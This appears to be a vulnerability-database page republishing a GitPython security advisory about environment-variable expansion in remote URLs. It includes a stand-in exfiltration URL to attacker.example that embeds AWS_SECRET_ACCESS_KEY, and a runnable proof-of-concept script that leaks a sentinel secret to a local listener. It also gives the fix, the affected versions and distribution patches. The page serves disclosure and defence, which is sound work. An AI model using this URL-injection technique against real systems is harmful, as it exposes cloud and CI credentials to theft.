Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)GHSA-94p4-4cq8-9g67

HIGHFix: gitpython-developers/GitPython@8634174

GHSA-94p4-4cq8-9g67 is a high-severity (CVSS 7.5) Information Exposure vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.

Also known asCVE-2026-73622PYSEC-2026-3951
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-94p4-4cq8-9g67.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk
0.00%0.34%0.68%1.01%0.3%0.5%0.5%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-94p4-4cq8-9g67 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍gitpython

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")


print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF

Step 3: Run it

cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

  • git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
  • git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup

rm -rf /tmp/gp-remote-poc

Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgitpythonall versions3.1.55pip install --upgrade 'gitpython==3.1.55'

Affected Products

1 product · 1 configurations
Application
gitpythongitpython_project
< 3.1.55
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gitpython to 3.1.55 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-94p4-4cq8-9g67 is resolved across your whole dependency graph.

  3. Workarounds

    Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This is an Important information disclosure flaw in GitPython. It allows an attacker to exfiltrate sensitive environment variables from systems that use GitPython to create or add remote repositories from untrusted URLs. This occurs because environment variable expansion is not disabled in URL handling, leading to…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for GHSA-94p4-4cq8-9g67 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Satellite 6.16 for RHEL 8foreman-0:3.12.0.23-1.el8satRHSA-2026:74506
Red Hat Satellite 6.17 for RHEL 9foreman-0:3.14.0.22-1.el9satRHSA-2026:74505
Red Hat Satellite 6.19 for RHEL 9python3.12-gitpython-0:3.1.59-1.el9pcRHSA-2026:63385
Red Hat Ansible Automation Platform 2.5ansible-automation-platform-25/controller-rhel8:1789607021RHSA-2026:71210
Red Hat Ansible Automation Platform 2.6ansible-automation-platform-26/controller-rhel9:1789673739RHSA-2026:71179
Red Hat Ansible Automation Platform 2.7ansible-automation-platform-27/controller-rhel9:1788918363RHSA-2026:67279
Red Hat OpenShift AI 2.25rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9:1788315638RHSA-2026:65126
Red Hat OpenShift AI 2.25rhoai/odh-feature-server-rhel9:1792148523RHSA-2026:87410

Frequently Asked Questions

## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process'
O3 Security · Impact-Aware SCA

Is GHSA-94p4-4cq8-9g67 in your dependencies?

Find it across PyPI, including transitive dependencies.

GitPython: Environment-variable exfiltration via…